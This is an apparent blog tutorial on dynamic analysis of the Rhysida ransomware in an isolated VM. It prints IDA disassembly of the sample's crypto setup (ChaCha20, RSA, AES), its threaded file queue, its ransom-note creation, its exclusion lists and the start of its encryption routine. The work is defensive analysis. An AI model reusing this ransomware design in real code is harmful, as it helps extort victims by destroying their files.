Rhysida ransomware Malware Analysis - Part 1: Dynamic analysis

Rhysida ransomware Malware Analysis - Part 1: Dynamic analysis
This AI-generated image was created on Midjourney and curated by Tom Caliendo.
This article is very different from one of my classic HTB walkthroughs. Driven by one of my greatest passions and by the recent articles of another Secjuice author, fairycn, whom I thank for his detailed series of articles on malware analysis and secprentice that gave the idea about the malware's name, I moved towards writing a tutorial on a specific case; the reversal of one of the malware which has affected a large number of victims since mid-2023: Rhysida ransomware. I want to underline that I will not go through all the points of a complete malware analysis, but rather I will focus and concentrate my efforts on the dynamic analysis.

Introduction

The article aims to serve not only as a tutorial but also as an analysis of the effects of the well-known ransomware named Rhysida. Its main objective is to examine the process of recovering files lost during an attack, providing an alternative that avoids succumbing to the threats of the attacker. To date, approximately a year after the initial appearance of the malware, a tool has finally emerged in recent months, enabling the automatic recovery of lost documents. This tutorial guides through the secure analysis of a virus, highlighting some reverse engineering techniques used during the dynamic analysis of the malware, and ultimately explaining how it was possible to identify the vulnerability that allowed researchers to develop a tool for restoring files damaged by the virus.

Sandbox preparation

First of all, you need to obtain a copy of the ransomware. There are several online sources and portals where you can download versions of files infected with any type of malware (viruses, spyware, keyloggers, ransomware, etc.). There are also many builders that allow you to create your own customized version of viruses (including ransomware), easily found on the internet through simple searches. For this tutorial, a classic version was retrieved, downloaded from one of the many Git repositories where entire "malware collections" can be found.

One of the most crucial steps in approaching malware analysis is to "get safe" In this case, "making yourself safe" means preparing a sandbox in your laboratory. By sandbox, we mean a "controlled environment" in which the malware can be executed, allowing it to act freely to understand its behavior. Documents of zero relevance will be placed inside the sandbox to offer the malware some files to infect. Another characteristic of the sandbox is to be isolated from the rest of the ecosystem forming the network of the entire laboratory. Essentially, it must be possible to disable the sandbox network, making it impossible for the malware to identify and/or connect to other devices. Tools can be installed within the sandbox for identifying the binary, disassembling it, and debugging it. In short, from the description, a sandbox is nothing more than a virtual machine disconnected from any type of network.

After installing the OS (I chose a light version of windows 11) and IDA Freeware, you will have to proceed to load the malware and some documents (images, PDFs, text files, etc.). It will be important to disconnect the network once this setup phase is finished, eliminate any folders shared with the HOST, and any other type of connection that can connect the VM with the laboratory network (USB, Bluetooth, etc.). Before starting, it is possible to take a snapshot of the VM so that you can restore its state if you want to proceed from the starting point again. At this point, you are practically ready to start the ransomware and observe the harmful effects it brings.

Dynamic malware analysis

Although this is a dynamic analysis, understanding a minimum of the behavior of the malware is necessary, after a few launches, which in any case have not done too much damage (Windows 11 seems to be immune at least in the folders where the authorization rights are well set), the infection of the files is successful (lowering exactly those rights on the signs).

Once the effect of the malware has been ascertained, the VM is restarted to begin a debug session with IDA.

For those who are not very familiar with IDA and are not particularly familiar with reading the assembler code, I suggest also installing Ghidra, a decompilation tool that can help with reading the code and which will be used in the second part of this article.

A first reflection on malware is that it must be started in the background, otherwise, despite the speed of propagation of the virus, a relatively prepared user could stop it in time before it does too much damage. However, this is not impossible if you consider the possibility of starting scripts by downloading files via phishing emails.

The first lines of code are relatively simple:

  1. recover the OS time (call time)
  2. generate a random number using the seed of the time just recovered (call srand)
  3. get the current path of the running process (call getcwd)
  4. retrieve system information (call __imp_GetSystemInfo) to access the number of available processors (sysinfo.dwNumberOfProcessors)
[...]
.text:000000000041979B 55                      push    rbp
.text:000000000041979C 57                      push    rdi
.text:000000000041979D 56                      push    rsi
.text:000000000041979E 53                      push    rbx
.text:000000000041979F 48 81 EC 78 02 00 00    sub     rsp, 278h
.text:00000000004197A6 48 8D AC 24 80 00 00 00 lea     rbp, [rsp+80h]
.text:00000000004197AE 89 8D 20 02 00 00       mov     [rbp+210h+argc], ecx
.text:00000000004197B4 48 89 95 28 02 00 00    mov     [rbp+210h+argv], rdx
.text:00000000004197BB E8 C0 E5 02 00          call    __main
.text:00000000004197C0 B9 00 00 00 00          mov     ecx, 0          ; Time
.text:00000000004197C5 E8 5E 1A 03 00          call    time
.text:00000000004197CA 89 C1                   mov     ecx, eax        ; Seed
.text:00000000004197CC E8 AF 1A 03 00          call    srand
.text:00000000004197D1 48 8D 85 90 00 00 00    lea     rax, [rbp+210h+cwd]
.text:00000000004197D8 BA 04 01 00 00          mov     edx, 104h       ; SizeInBytes
.text:00000000004197DD 48 89 C1                mov     rcx, rax        ; DstBuf
.text:00000000004197E0 E8 23 1A 03 00          call    getcwd
.text:00000000004197E5 48 8D 45 60             lea     rax, [rbp+210h+sysinfo]
.text:00000000004197E9 48 89 C1                mov     rcx, rax        ; lpSystemInfo
.text:00000000004197EC 48 8B 05 79 BD 05 00    mov     rax, cs:__imp_GetSystemInfo
.text:00000000004197F3 FF D0                   call    rax ; __imp_GetSystemInfo
.text:00000000004197F5 8B 85 80 00 00 00       mov     eax, [rbp+210h+sysinfo.dwNumberOfProcessors]
[...]

It proceeds with a series of memory initializations (malloc) to complete this first phase by initializing a generic mutex (pthread_mutex_init).

At this point a loop begins (identified by the blue blocks in the image) over the number of processors to initialize a series of further mutexes (one per processor).

The innermost loop appears to initialize a sort of array of files of 1023 elements (0x3ff).

The following code seems to recover the command line arguments, in this case, a single value (argc = 1), i.e. the executable with the complete path (contained in argv), and then print them on the screen.

We then come to the first interesting part of the code, the "init_prng" function.
Taking a quick look inside before proceeding with debugging, you can notice a series of functions that contain the prefix "chacha20" in their name (chacha20_prng_start, chacha20_prng_ready, chacha20_prng_add_entropy, etc...). Chacha is a family of encryption algorithms, specifically chacha20 is a version that uses 20 encryption iterations.

By quickly analyzing the code it is easy to understand that the flow proceeds by initializing the crypter instance (chacha20_prng_start), verifying its correct creation (chacha20_prng_ready), adding a series of randomly generated bytes to increase the complexity of the algorithm (chacha20_prng_add_entropy) and finally it appears test the functionality of the encryptor (chacha20_prng_read).

At this point, the init_prng function is repeated a number of times equal to two (the number of processors recovered at the beginning of the system).

From this point on, a series of instructions follow one another that prepare the system for the file encryption activity:

[...]
.text:0000000000419C0E 8B 05 74 26 03 00       mov     eax, cs:__PUB_DER_LEN
.text:0000000000419C14 48 8D 15 45 A7 05 00    lea     rdx, key
.text:0000000000419C1B 49 89 D0                mov     r8, rdx
.text:0000000000419C1E 89 C2                   mov     edx, eax
.text:0000000000419C20 48 8D 0D 39 24 03 00    lea     rcx, __PUB_DER
.text:0000000000419C27 E8 A4 9F 00 00          call    rsa_import
.text:0000000000419C2C 85 C0                   test    eax, eax
[...]

Import a public key (RSA type)

[...]
.text:0000000000419C41 48 8B 0D 18 9A 04 00    mov     rcx, cs:_refptr_aes_enc_desc
.text:0000000000419C48 E8 43 5F 00 00          call    register_cipher
.text:0000000000419C4D 89 85 BC 01 00 00       mov     [rbp+210h+err], eax
.text:0000000000419C53 83 BD BC 01 00 00 00    cmp     [rbp+210h+err], 0
[...]

Record encryption (AES type)

[...]
.text:0000000000419C7D 48 8D 0D ED DB 03 00    lea     rcx, aAes       ; "aes"
.text:0000000000419C84 E8 37 5C 00 00          call    find_cipher
.text:0000000000419C89 89 C2                   mov     edx, eax
.text:0000000000419C8B 48 8D 05 6E 61 05 00    lea     rax, CIPHER
.text:0000000000419C92 89 10                   mov     [rax], edx
.text:0000000000419C94 48 8D 05 65 61 05 00    lea     rax, CIPHER
.text:0000000000419C9B 8B 00                   mov     eax, [rax]
.text:0000000000419C9D 83 F8 FF                cmp     eax, 0FFFFFFFFh
[...]

Retrieves the cipher named "aes"

[...]
.text:0000000000419CB3 48 8B 0D C6 99 04 00    mov     rcx, cs:_refptr_chc_desc
.text:0000000000419CBA E8 A1 61 00 00          call    register_hash
.text:0000000000419CBF 89 85 BC 01 00 00       mov     [rbp+210h+err], eax
.text:0000000000419CC5 83 BD BC 01 00 00 00    cmp     [rbp+210h+err], 0
[...]

Repeat the operations for the hash too, record the hash

[...]
.text:0000000000419CEF 48 8D 05 0A 61 05 00    lea     rax, CIPHER
.text:0000000000419CF6 8B 00                   mov     eax, [rax]
.text:0000000000419CF8 89 C1                   mov     ecx, eax
.text:0000000000419CFA E8 81 46 00 00          call    chc_register
.text:0000000000419CFF 89 85 BC 01 00 00       mov     [rbp+210h+err], eax
.text:0000000000419D05 83 BD BC 01 00 00 00    cmp     [rbp+210h+err], 0
[...]

Register the cipher

[...]
.text:0000000000419D2F 48 8D 0D 93 DB 03 00    lea     rcx, aChcHash   ; "chc_hash"
.text:0000000000419D36 E8 D5 5C 00 00          call    find_hash
.text:0000000000419D3B 89 C2                   mov     edx, eax
.text:0000000000419D3D 48 8D 05 0C A6 05 00    lea     rax, HASH_IDX
.text:0000000000419D44 89 10                   mov     [rax], edx
.text:0000000000419D46 48 8D 05 03 A6 05 00    lea     rax, HASH_IDX
.text:0000000000419D4D 8B 00                   mov     eax, [rax]
.text:0000000000419D4F 83 F8 FF                cmp     eax, 0FFFFFFFFh
[...]

Recover the hash

The next function, whose name is particularly curious (rijndael_keysize), contains code that could add some more information.
This calls, in fact, within it a further function (crypt_argchk which however does not execute during debugging) to which it passes three parameters.

[...]
.text:000000000041B8DD 48 8D 15 5C D7 03 00    lea     rdx, aSrcCiphersAesA ; "src/ciphers/aes/aes.c"
.text:000000000041B8E4 48 8D 0D 8E D7 03 00    lea     rcx, aKeysizeNull ; "keysize != NULL"
.text:000000000041B8EB 41 B8 D2 02 00 00       mov     r8d, 2D2h
.text:000000000041B8F1 E8 5A 3F 00 00          call    crypt_argchk
[...]

searching online, it emerges that the functions are part of an opensource library (LibTomCrypt).

The code then initializes a sort of structure

[...]
.text:0000000000419DBA 48 8D 05 5F 60 05 00    lea     rax, global_statistics
.text:0000000000419DC1 C7 00 00 00 00 00       mov     dword ptr [rax], 0
.text:0000000000419DC7 48 8D 05 52 60 05 00    lea     rax, global_statistics
.text:0000000000419DCE C7 40 04 00 00 00 00    mov     dword ptr [rax+4], 0
.text:0000000000419DD5 48 8D 05 44 60 05 00    lea     rax, global_statistics
.text:0000000000419DDC C7 40 08 00 00 00 00    mov     dword ptr [rax+8], 0
.text:0000000000419DE3 48 8D 05 36 60 05 00    lea     rax, global_statistics
.text:0000000000419DEA C7 40 0C 00 00 00 00    mov     dword ptr [rax+0Ch], 0
.text:0000000000419DF1 48 8D 05 28 60 05 00    lea     rax, global_statistics
.text:0000000000419DF8 C7 40 10 00 00 00 00    mov     dword ptr [rax+10h], 0
.text:0000000000419DFF 48 8D 05 1A 60 05 00    lea     rax, global_statistics
.text:0000000000419E06 C7 40 14 00 00 00 00    mov     dword ptr [rax+14h], 0
.text:0000000000419E0D 48 8D 05 FC 5F 05 00    lea     rax, QUERY_EMPTY_CIRCLES
.text:0000000000419E14 C7 00 00 00 00 00       mov     dword ptr [rax], 0
.text:0000000000419E1A 48 8D 05 17 60 05 00    lea     rax, QUERY_RUNNING
.text:0000000000419E21 C7 00 01 00 00 00       mov     dword ptr [rax], 1
.text:0000000000419E27 C7 85 EC 01 00 00 00 00 mov     [rbp+210h+thread_i], 0
[...]

which will contain the count of infected files, errors, etc...

[...]
.bss:000000000046FE20 public global_statistics
.bss:000000000046FE20 ; gstat global_statistics
.bss:000000000046FE20 global_statistics dd 0                                    ; dir_count
.bss:000000000046FE20                                         ; DATA XREF: insertDirNode+4A↑o
.bss:000000000046FE20                                         ; insertDirNode+56↑o ...
.bss:000000000046FE24 dd 0                                    ; all_count
.bss:000000000046FE28 dd 0                                    ; file_count
.bss:000000000046FE2C dd 0                                    ; error_count
.bss:000000000046FE30 dd 0                                    ; access_count
.bss:000000000046FE34 dd 0                                    ; readme_count
[...]

The number of available processors, previously recovered, is used again to create an equivalent number of threads that execute the "processFiles" function.

[...]
.text:0000000000419E67 49 89 D1                mov     r9, rdx         ; arg
.text:0000000000419E6A 4C 8D 05 13 DC FF FF    lea     r8, processFiles ; func
.text:0000000000419E71 BA 00 00 00 00          mov     edx, 0          ; attr
.text:0000000000419E76 48 89 C1                mov     rcx, rax        ; th
.text:0000000000419E79 E8 F2 B7 02 00          call    pthread_create
[...]

Here things get complicated, there is the possibility that we will have to follow this alternative flow (the name of the started process is quite clear) and, above all, I will have to lower the value of the processors to one (unless I get stuck in a sequence of double processing). We insert a breakpoint to leave nothing to chance in the "processFiles" function and proceed with the debugging step by step anyway, hoping to have time to finish the main flow. A little later all created threads are released (I reduced to one processor, so I only started one thread).

[...]
.text:0000000000419EAA 48 8D 14 C5 00 00 00 00 lea     rdx, ds:0[rax*8]
.text:0000000000419EB2 48 8B 85 D0 01 00 00    mov     rax, [rbp+210h+QUERY_FILE_THREAD_IDS]
.text:0000000000419EB9 48 01 D0                add     rax, rdx
.text:0000000000419EBC 48 89 C1                mov     rcx, rax        ; t
.text:0000000000419EBF E8 7C BC 02 00          call    pthread_detach
[...]

It loops through all the letters of the alphabet to identify the computer disks on which the "openDirectoryNR" function is started. Also in this case it will be necessary to go into detail about the function, at least up to disk "C", to understand how this function actually works. And here things get complicated, as the functions encountered are many and branch out across many levels. Looking at the flow from a higher point of view, a series of loops that nest within each other are visible and the only exit point where it will be possible to insert a break to let the process develop autonomously until the end (obviously after understanding it).

While I check the main flow, I also see the thread previously launched by the main process starting, with a structure very similar to the one already analyzed a few moments before.

From this point on, I found myself debugging two flows simultaneously that alternated with each other, the first the main flow and the second that of the thread started in parallel. The two cycles, therefore, overlap in some points, and by taking notes and trying to stay focused on the two flows, I have reported the code blocks in the order in which they appeared, but don't worry, we will clarify things later, in the second part of this article, as necessary to complete the analysis.

Analyzing the function in broad terms without going into detail, it seems that it uses the previous mutexes to exploit critical sections (this could give time to debug both flows). However, this seems to be the function to follow, as a couple of interesting calls are clearly visible towards the end.

The first, "isFileExcluded", seems to make sure that the parsed file is not excluded by some list or condition, if not, a call to the "processFileEnc" function is made (and I have a strong feeling that that final Enc is for Encryption).

It would seem that the process to be analyzed is the one within the thread, fortunately proceeding the thread does not end immediately. After passing the first hurdle, a call is made to the "pthread_mutex_lock" function, which should block the thread if the resource is not available until it is freed. In this case, the thread proceeds smoothly.

However, after a few instructions, the process returns to the original flow and this prevents us from focusing on one of the two flows. The best solution is to let one go and analyze the other, then restore the VM and restart the entire infection process, this time proceeding with the flow left out previously.

However, what seems to be clear is that the main flow inserts the files which the parallel thread will then process into a sort of queue (addFileToQueue), the mutex within the process is for multi-core processors which allow multi-threaded processing, in order to probably block the file to be processed and ensure unique processing by one of the started threads. If this is the case, once confirmed, you can simply debug the point at which the file is queued (main flow) and the point at which the file is processed (parallel flow).

Finally, the call to openDirectoryNR arrives and the disk "C:" is passed to it.
This time the directory change (chdir) takes effect, proceeding to further disk access and manipulation functions (openDir, readdir, isCurrentDirectory, etc...).
The code begins looping through the files and directories of disk "C:" to print the number of identified items on the disk.

The code "rewinds" (rewinddir) the directory and starts a new reading cycle (let me say a useless waste of resources, it would have been better to exploit the previous cycle).
It proceeds to the "createNote" function, to which the same path (C:) is passed.
This prepares a pdf file named "CriticalBreachDetected.pdf"

[...]
.text:0000000000416E47 48 8B 45 A8             mov     rax, [rbp-40h+filename]
.text:0000000000416E4B 48 01 D0                add     rax, rdx
.text:0000000000416E4E 66 C7 00 2F 00          mov     word ptr [rax], 2Fh ; '/'
.text:0000000000416E53 48 8B 45 A8             mov     rax, [rbp-40h+filename]
.text:0000000000416E57 48 8D 15 E2 51 03 00    lea     rdx, __NOTE_NAME_PDF ; Source
.text:0000000000416E5E 48 89 C1                mov     rcx, rax        ; Destination
.text:0000000000416E61 E8 12 44 03 00          call    strcat
.text:0000000000416E66 48 8B 45 A8             mov     rax, [rbp-40h+filename]
.text:0000000000416E6A 48 8D 15 E2 F4 03 00    lea     rdx, Mode       ; "wb"
.text:0000000000416E71 48 89 C1                mov     rcx, rax        ; FileName
.text:0000000000416E74 E8 BF 44 03 00          call    fopen
[...]
.data:000000000044C040 public __NOTE_NAME_PDF
.data:000000000044C040 ; unsigned __int8 _NOTE_NAME_PDF[26]
.data:000000000044C040 __NOTE_NAME_PDF db 43h, 72h, 69h, 74h, 69h, 63h, 61h, 6Ch, 42h, 72h, 65h, 61h, 63h, 68h
.data:000000000044C040                                         ; DATA XREF: isFileExcluded+324↑o
.data:000000000044C040                                         ; createNote+62↑o
.data:000000000044C04E db 44h, 65h, 74h, 65h, 63h, 74h, 65h, 64h, 2Eh, 70h, 64h, 66h

In this case, the writing seems to fail (probably due to the privileges folder), however, it is not difficult to understand how the code proceeds if it manages to create the file.

[...]
.text:0000000000416E84 8B 05 36 E6 03 00       mov     eax, cs:__NOTE_PDF_LEN
.text:0000000000416E8A 89 C2                   mov     edx, eax        ; ElementSize
.text:0000000000416E8C 48 8B 45 A0             mov     rax, [rbp-40h+f]
.text:0000000000416E90 49 89 C1                mov     r9, rax         ; Stream
.text:0000000000416E93 41 B8 01 00 00 00       mov     r8d, 1          ; ElementCount
.text:0000000000416E99 48 8D 0D 20 5A 03 00    lea     rcx, __NOTE_PDF ; Buffer
.text:0000000000416EA0 E8 4B 44 03 00          call    fwrite
[...]

The contents of the PDF are found in the constant __NOTE_PDF.

.data:000000000044C8C0 __NOTE_PDF      db 25h, 50h, 44h, 46h, 2Dh, 31h, 2Eh, 35h, 0Ah, 25h, 0D0h
.data:000000000044C8C0                                         ; DATA XREF: createNote+A4↑o
.data:000000000044C8CB                 db 0D4h, 0C5h, 0D8h, 0Ah, 35h, 20h, 30h, 20h, 6Fh, 62h
.data:000000000044C8D5                 db 6Ah, 0Ah, 2 dup(3Ch), 0Ah, 2Fh, 4Ch, 65h, 6Eh, 67h
.data:000000000044C8DF                 db 74h, 68h, 20h, 31h, 35h, 37h, 34h, 6 dup(20h), 0Ah
.data:000000000044C8ED                 db 2Fh, 46h, 69h, 6Ch, 74h, 65h, 72h, 20h, 2Fh, 46h, 6Ch
[...]
.data:00000000004554A7                 db 6Ah, 0Ah, 73h, 74h, 61h, 72h, 74h, 78h, 72h, 65h, 66h
.data:00000000004554B2                 db 0Ah, 33h, 2 dup(35h), 32h, 36h, 0Ah, 2 dup(25h), 45h
.data:00000000004554BC                 db 4Fh, 46h, 0Ah

This equates to the message also containing very interesting information (but what we will discover will be of no use).

After exiting the function, a further cycle on the files and folders recovered from the previous function is executed. It is verified that the path is a folder or a file (dirpathIsFile). In the case of files, the process inserts the file into a sort of queue (which should be processed by the previously started thread and which appears to be waiting for something to process).

[...]
.text:000000000041787D                         loc_41787D:             ; thread_n
.text:000000000041787D 8B 55 F4                mov     edx, [rbp+current_thread_n]
.text:0000000000417880 48 8B 45 E8             mov     rax, [rbp+directory_entry_path]
.text:0000000000417884 48 89 C1                mov     rcx, rax        ; filename
.text:0000000000417887 E8 83 00 00 00          call    addFileToQueue
.text:000000000041788C 85 C0                   test    eax, eax
.text:000000000041788E 74 DF                   jz      short loc_41786F
[...]

If not, the "isDirectoryExcluded" function is executed (the name is already quite explicit); the code simply loops through a list of directories to exclude.

.rdata:0000000000456A40 ; const int exclude_directories[11][33]
.rdata:0000000000456A40 exclude_directories dd 2Fh, 24h, 52h, 65h, 63h, 79h, 63h, 6Ch, 65h, 2Eh, 42h, 69h, 6Eh, 0
.rdata:0000000000456A40                                         ; DATA XREF: isDirectoryExcluded+65↑o
.rdata:0000000000456A40                                         ; isDirectoryExcluded+AE↑o
.rdata:0000000000456A78 dd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2Fh, 42h, 6Fh
.rdata:0000000000456AD0 dd 6Fh, 74h, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.rdata:0000000000456B28 dd 0, 0, 0, 0, 0, 0, 0, 0, 2Fh, 44h, 6Fh, 63h, 75h, 6Dh, 65h, 6Eh, 74h
.rdata:0000000000456B6C dd 73h, 20h, 61h, 6Eh, 64h, 20h, 53h, 65h, 74h, 74h, 69h, 6Eh, 67h, 73h
.rdata:0000000000456BA4 dd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2Fh, 50h, 65h, 72h, 66h, 4Ch, 6Fh, 67h
.rdata:0000000000456BEC dd 73h, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.rdata:0000000000456C44 dd 0, 0, 0, 2Fh, 50h, 72h, 6Fh, 67h, 72h, 61h, 6Dh, 20h, 46h, 69h, 6Ch
.rdata:0000000000456C80 dd 65h, 73h, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2Fh
.rdata:0000000000456CD8 dd 50h, 72h, 6Fh, 67h, 72h, 61h, 6Dh, 20h, 46h, 69h, 6Ch, 65h, 73h, 20h
.rdata:0000000000456D10 dd 28h, 78h, 38h, 36h, 29h, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2Fh
.rdata:0000000000456D5C dd 50h, 72h, 6Fh, 67h, 72h, 61h, 6Dh, 44h, 61h, 74h, 61h, 0, 0, 0, 0, 0
.rdata:0000000000456D9C dd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2Fh, 52h, 65h, 63h
.rdata:0000000000456DEC dd 6Fh, 76h, 65h, 72h, 79h, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.rdata:0000000000456E3C dd 0, 0, 0, 0, 0, 0, 0, 0, 0, 2Fh, 53h, 79h, 73h, 74h, 65h, 6Dh, 20h, 56h
.rdata:0000000000456E84 dd 6Fh, 6Ch, 75h, 6Dh, 65h, 20h, 49h, 6Eh, 66h, 6Fh, 72h, 6Dh, 61h, 74h
.rdata:0000000000456EBC dd 69h, 6Fh, 6Eh, 0, 0, 0, 0, 0, 0, 0, 2Fh, 57h, 69h, 6Eh, 64h, 6Fh, 77h
.rdata:0000000000456F00 dd 73h, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
.rdata:0000000000456F58 dd 0, 0, 0, 0, 2Fh, 24h, 52h, 45h, 43h, 59h, 43h, 4Ch, 45h, 2Eh, 42h, 49h
.rdata:0000000000456F98 dd 4Eh, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

Which turns out to be more or less the one in the following screenshot.

Finally we reach the point where the first file is added to the queue. Here it appears to add a pointer to the file in an array that is observing the same file processing process started in parallel. Access to the structure is controlled by mutexes managed by both processes, locking and unlocking the resource so as not to interfere when saving and retrieving the file name from the "queue". On the file processing side, we are finally able to enter the flow that checks whether the file is included in the list of excluded files.

[...]
.text:0000000000417CAC 48 8D 45 A0             lea     rax, [rbp+0FB0h+file_name]
.text:0000000000417CB0 48 89 C1                mov     rcx, rax        ; file_name
.text:0000000000417CB3 E8 3B ED FF FF          call    isFileExcluded
.text:0000000000417CB8 83 F0 01                xor     eax, 1
.text:0000000000417CBB 84 C0                   test    al, al
.text:0000000000417CBD 74 34                   jz      short loc_417CF3
[...]

The function is very similar to the one already analyzed for excluding folders.

[...]
.text:0000000000416A49 8B 45 FC                mov     eax, [rbp+exclude_c]
.text:0000000000416A4C 48 63 C8                movsxd  rcx, eax
.text:0000000000416A4F 8B 45 F8                mov     eax, [rbp+exclude_i]
.text:0000000000416A52 48 63 D0                movsxd  rdx, eax
.text:0000000000416A55 48 89 D0                mov     rax, rdx
.text:0000000000416A58 48 01 C0                add     rax, rax
.text:0000000000416A5B 48 01 D0                add     rax, rdx
.text:0000000000416A5E 48 C1 E0 02             shl     rax, 2
.text:0000000000416A62 48 01 C8                add     rax, rcx
.text:0000000000416A65 48 8D 14 85 00 00 00 00 lea     rdx, ds:0[rax*4]
.text:0000000000416A6D 48 8D 05 8C 05 04 00    lea     rax, exclude_extensions
.text:0000000000416A74 8B 04 02                mov     eax, [rdx+rax]
[...]
.rdata:0000000000457000 ; const int exclude_extensions[27][12]
.rdata:0000000000457000 exclude_extensions dd 2Eh, 62h, 61h, 74h, 0, 0, 0, 0, 0, 0, 0, 0, 2Eh, 62h, 69h, 6Eh, 0, 0
.rdata:0000000000457000                                         ; DATA XREF: isFileExcluded+7A↑o
.rdata:0000000000457000                                         ; isFileExcluded+C9↑o ...
.rdata:0000000000457048 dd 0, 0, 0, 0, 0, 0, 2Eh, 63h, 61h, 62h, 0, 0, 0, 0, 0, 0, 0, 0, 2Eh, 63h
.rdata:0000000000457098 dd 6Dh, 64h, 0, 0, 0, 0, 0, 0, 0, 0, 2Eh, 63h, 6Fh, 6Dh, 0, 0, 0, 0, 0
.rdata:00000000004570E4 dd 0, 0, 0, 2Eh, 63h, 75h, 72h, 0, 0, 0, 0, 0, 0, 0, 0, 2Eh, 64h, 69h
.rdata:000000000045712C dd 61h, 67h, 63h, 61h, 62h, 0, 0, 0, 0, 2Eh, 64h, 69h, 61h, 67h, 63h, 66h
.rdata:000000000045716C dd 67h, 0, 0, 0, 0, 2Eh, 64h, 69h, 61h, 67h, 70h, 6Bh, 67h, 0, 0, 0, 0
.rdata:00000000004571B0 dd 2Eh, 64h, 72h, 76h, 0, 0, 0, 0, 0, 0, 0, 0, 2Eh, 64h, 6Ch, 6Ch, 0, 0
.rdata:00000000004571F8 dd 0, 0, 0, 0, 0, 0, 2Eh, 65h, 78h, 65h, 0, 0, 0, 0, 0, 0, 0, 0, 2Eh, 68h
.rdata:0000000000457248 dd 6Ch, 70h, 0, 0, 0, 0, 0, 0, 0, 0, 2Eh, 68h, 74h, 61h, 0, 0, 0, 0, 0
.rdata:0000000000457294 dd 0, 0, 0, 2Eh, 69h, 63h, 6Fh, 0, 0, 0, 0, 0, 0, 0, 0, 2Eh, 6Ch, 6Eh
.rdata:00000000004572DC dd 6Bh, 0, 0, 0, 0, 0, 0, 0, 0, 2Eh, 6Dh, 73h, 69h, 0, 0, 0, 0, 0, 0, 0
.rdata:000000000045732C dd 0, 2Eh, 6Fh, 63h, 78h, 0, 0, 0, 0, 0, 0, 0, 0, 2Eh, 70h, 73h, 31h, 0
.rdata:0000000000457374 dd 0, 0, 0, 0, 0, 0, 0, 2Eh, 70h, 73h, 6Dh, 31h, 0, 0, 0, 0, 0, 0, 0, 2Eh
.rdata:00000000004573C4 dd 73h, 63h, 72h, 0, 0, 0, 0, 0, 0, 0, 0, 2Eh, 73h, 79h, 73h, 0, 0, 0
.rdata:000000000045740C dd 0, 0, 0, 0, 0, 2Eh, 69h, 6Eh, 69h, 0, 0, 0, 0, 0, 0, 0, 0, 54h, 68h
.rdata:0000000000457458 dd 75h, 6Dh, 62h, 73h, 2Eh, 64h, 62h, 0, 0, 0, 2Eh, 75h, 72h, 6Ch, 0, 0
.rdata:0000000000457498 dd 0, 0, 0, 0, 0, 0, 2Eh, 69h, 73h, 6Fh, 0, 0, 0, 0, 0, 0, 0, 0, 2Eh, 63h
.rdata:00000000004574E8 dd 61h, 62h, 0, 0, 0, 0, 0, 0, 0, 0

Which appears to contain the file extensions to exclude.

The file extension is not among those to be excluded, so the flow proceeds towards what is probably the encryption function.

[...]
.text:0000000000417CBF 48 8D 05 5A 81 05 00    lea     rax, global_statistics
.text:0000000000417CC6 8B 40 04                mov     eax, [rax+4]
.text:0000000000417CC9 8D 50 01                lea     edx, [rax+1]
.text:0000000000417CCC 48 8D 05 4D 81 05 00    lea     rax, global_statistics
.text:0000000000417CD3 89 50 04                mov     [rax+4], edx
.text:0000000000417CD6 48 8B 85 A0 0F 00 00    mov     rax, [rbp+0FB0h+thread_n]
.text:0000000000417CDD 8B 10                   mov     edx, [rax]
.text:0000000000417CDF 48 8D 45 A0             lea     rax, [rbp+0FB0h+file_name]
.text:0000000000417CE3 41 89 D0                mov     r8d, edx        ; thread_n
.text:0000000000417CE6 BA 00 00 00 00          mov     edx, 0          ; dest_dec
.text:0000000000417CEB 48 89 C1                mov     rcx, rax        ; file_name
.text:0000000000417CEE E8 4B 00 00 00          call    processFileEnc
[...]

After updating the statistics variables, we proceed within the "processFileEnc" function. Just to give you an idea, below is a screenshot of the encryption flow.

At this point, it is necessary to better understand how the code evolves.

The first block of initialization of the variables (whose names are relatively explanatory and obvious) and the preparation of the file for encryption, introduces the encryption process.

[...]
.text:0000000000417D3E 55                      push    rbp
.text:0000000000417D3F 57                      push    rdi
.text:0000000000417D40 56                      push    rsi
.text:0000000000417D41 53                      push    rbx
.text:0000000000417D42 B8 F8 32 10 00          mov     eax, 1032F8h
.text:0000000000417D47 E8 34 14 03 00          call    ___chkstk_ms
.text:0000000000417D4C 48 29 C4                sub     rsp, rax
.text:0000000000417D4F 48 8D AC 24 80 00 00 00 lea     rbp, [rsp+80h]
.text:0000000000417D57 48 89 8D A0 32 10 00    mov     [rbp+103290h+file_name], rcx
.text:0000000000417D5E 89 95 A8 32 10 00       mov     [rbp+103290h+dest_dec], edx
.text:0000000000417D64 44 89 85 B0 32 10 00    mov     [rbp+103290h+thread_n], r8d
.text:0000000000417D6B B9 00 10 00 00          mov     ecx, 1000h      ; Size
.text:0000000000417D70 E8 73 35 03 00          call    malloc
.text:0000000000417D75 48 89 85 38 32 10 00    mov     [rbp+103290h+file_name_local], rax
.text:0000000000417D7C 48 8B 85 38 32 10 00    mov     rax, [rbp+103290h+file_name_local]
.text:0000000000417D83 48 8B 95 A0 32 10 00    mov     rdx, [rbp+103290h+file_name] ; Source
.text:0000000000417D8A 48 89 C1                mov     rcx, rax        ; Destination
.text:0000000000417D8D E8 D6 34 03 00          call    strcpy
.text:0000000000417D92 48 8B 85 38 32 10 00    mov     rax, [rbp+103290h+file_name_local]
.text:0000000000417D99 48 89 C1                mov     rcx, rax        ; Str
.text:0000000000417D9C E8 B7 34 03 00          call    strlen
.text:0000000000417DA1 8B 15 8D 42 03 00       mov     edx, cs:__EXT_EXT_LEN
.text:0000000000417DA7 89 D2                   mov     edx, edx
.text:0000000000417DA9 48 01 D0                add     rax, rdx
